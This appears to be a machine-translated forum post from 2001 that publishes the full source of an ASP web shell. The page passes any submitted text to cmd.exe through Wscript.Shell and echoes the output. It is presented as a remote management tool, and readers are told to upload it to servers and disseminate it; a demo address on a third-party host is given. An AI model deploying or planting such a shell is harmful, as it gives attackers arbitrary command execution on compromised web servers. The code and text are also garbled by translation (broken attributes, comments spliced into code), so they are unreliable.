Execute the ASP original stacking that can execute system command to send
Author: WhoamI
Date: 2001.2.1
I'm writing a remote server management recently (using some of the ASE code, adding a remote
Perform commands, uploads, services, and other functions. ), got Abin, ADAM, Calvin, Ghost_happy,
Crazybird and so many netizens help, let me very moved, so I intend to write well, all the original code
Published, can be freely modified and disseminated. All you have to do is upload the program to a server that supports ASP.
It is worth noting that the program must be run with FileSystemObject support. The following is a remote command execution
The original code. Copy down to save as execute.asp.
Demo Address: http://210.160.4.24/scripts/execute.asp
A Japanese bad machine, so the Chinese will appear garbled!
<meta http-equiv= "Content-language" content= "ZH-CN" >
<meta http-equiv= "Content-type" content= "text/html; charset=gb2312 ">
<meta name= "generator" content= "Microsoft FrontPage 4.0" >
<meta name= "ProgId" content= "FrontPage.Editor.Document" >
<title> Execute Command </title>
<style>
<!--
table,body{font-family: Song Body; font-size:9pt}
a{font-family: XXFarEastFont-font-size:9pt; Color:rgb (0,32,64);
Text-decoration:none}
a:hover{font-family: XXFarEastFont-Color:rgb (255,0,0); text-decoration:none
}
a:visited{Color:rgb (128,0,0)}
-->
</style>
<body bgcolor= "#000000" text= "#C0C0C0" >
<form method= "POST" action= "execute.asp" >
<p align= "Left" > enter the command to execute: <input type= "text" name= "ML"
Size= "value=" dir c:\ "style=" Background-color: #C0C0C0; Color
#000000; Border-style:solid; Border-width:1 ">
<input type= "Submit" value= "Name=" B1 "style=" Background-color:
#C0C0C0; Color: #000000; Border:1 Groove #C0C0C0 "></p>
</form>
<%
Ml=request.form ("ml")
Cmd= "c:\winnt\system32\cmd.exe/c" &ml& ">c:\whoami.txt" modified
WhoamI.txt path to a directory with write permissions
Set WshShell = Server.CreateObject ("Wscript.Shell")
RetCode = Wshshell.run (cmd, 1, True)
If RetCode = 0 Then
Response.Write ml & ""
Response.Write "Command executed successfully! "&" <br><br> "
Else
Response.Write Command Execution failed! Insufficient permissions or the program cannot run in DOS
! "&" <br><br> "
End If
' Response.Write cmd
function HTMLEncode (str)
Dim result
Dim l
If IsNULL (str) Then
Htmlencode= ""
Exit function
End If
L=len (str)
Result= ""
Dim i
For i = 1 to L
Select Case Mid (str,i,1)
Case "<"
Result=result+ "<"
Case ">"
result=result+ ">"
Case Chr (34)
result=result+ "" "
Case "&"
result=result+ "&"
Case Else
Result=result+mid (str,i,1)
End Select
Next
Htmlencode=result
End Function
Set FS =createobject ("Scripting.FileSystemObject")
Set thisfile = fs. OpenTextFile ("C:/whoami.txt", 1, False) read the file, don't forget
The modified path.
Counter=0
Do as not Thisfile.atendofstream
Counter=counter+1
Thisline=htmlencode (Thisfile.readline)
Response.Write thisline& "<br>"
Loop
Thisfile. Close
Set fs=nothing
%>
</body>